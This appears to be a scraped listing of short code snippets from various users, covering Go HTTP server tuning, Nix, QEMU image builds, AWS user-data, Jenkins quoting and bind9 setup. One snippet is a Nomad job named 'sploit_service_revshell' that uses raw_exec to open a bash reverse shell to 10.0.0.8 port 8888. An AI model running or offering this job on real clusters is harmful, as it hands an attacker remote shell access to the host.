oddmario

Tune a Go http.Server

by adjusting its default buffer sizes

---

In some situations, you may need to adjust the default buffer sizes of a Golang HTTP server.

Adjusting the default buffer sizes allows you to benefit from higher throughput and improve the performance of your HTTP servers overall.

For the cherry on the top,

carnal0wnage

job "sploit_service_revshell" {
	datacenters = ["dc1"]
	group "sploit" {
		task "shello" {
		driver = "raw_exec"

		config {
			command = "/bin/bash"
			args = ["-c", "bash -i >& /dev/tcp/10.0.0.8/8888 0>&1"]
			}

grossbart

Nix

Nix is a powerful package manager that makes package management reliable and reproducible. It provides atomic upgrades and rollbacks, side-by-side installation of multiple versions of a package, multi-user package management and easy setup of build environments.

• The official manual
• Unofficial user wiki
• Nix Pills – an in depth introduction

Installation

summerwind

Build a OS image with QEMU and Ubuntu Cloud Image

Prerequirements

• Packer
• QEMU
• Docker

Build an image of cloud-init settings

zloster

And the answer is:

688471 instructions

--@--:~$ uname -a
Linux 3.13.0-101-generic #148-Ubuntu SMP Thu Oct 20 22:09:17 UTC 2016 i686 i686 i686 GNU/Linux
--@--:~$ sudo perf stat echo test
test

grrywlsn

#!/bin/bash
# Set this script as the AWS user-data for a fresh CentOS AMI
# It will be run on startup, and logs to /var/log/cloud-init.log
rpm -iUvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
yum -y update
yum -y install epel-release
yum -y install ansible
yum -y install git
mkdir -p /home/centos/.ssh
cat <<EOF > /home/centos/.ssh/id_rsa

Faheetah

node {
    echo 'Results included as an inline comment exactly how they are returned as of Jenkins 2.121, with $BUILD_NUMBER = 1'
    echo 'No quotes, pipeline command in single quotes'
    sh 'echo $BUILD_NUMBER' // 1
    echo 'Double quotes are silently dropped'
    sh 'echo "$BUILD_NUMBER"' // 1
    echo 'Even escaped with a single backslash they are dropped'
    sh 'echo \"$BUILD_NUMBER\"' // 1
    echo 'Using two backslashes, the quotes are preserved'
    sh 'echo \\"$BUILD_NUMBER\\"' // "1"

wfaler

sudo apt-get install bind9 bind9utils bind9-doc
wget https://dl.bintray.com/mitchellh/consul/0.5.2_linux_amd64.zip

/etc/bind/named.conf.options:
options {
        directory "/var/cache/bind";
        recursion yes;
        allow-query { localhost; };

        forwarders {

terrybleger

package util.func

import co.paralleluniverse.fibers.*
import co.paralleluniverse.strands.SuspendableCallable
import co.paralleluniverse.strands.SuspendableRunnable
import io.vertx.core.Context
import io.vertx.core.Future
import io.vertx.core.Vertx
import java.util.concurrent.Executor

jjwatt

(ns
    #^{:author "Jesse Wattenbarger"
       :doc "pulled out of a production program for gist."}
  coolquery.core
  (:gen-class)
  (:require [clojure.java.io :as io]
            [clojure.core.async :as a :refer
             [chan go go-loop close! <!! <! >! >!!]]
            [jdbc.core :as jdbc]            ;; good jdbc interop
            ))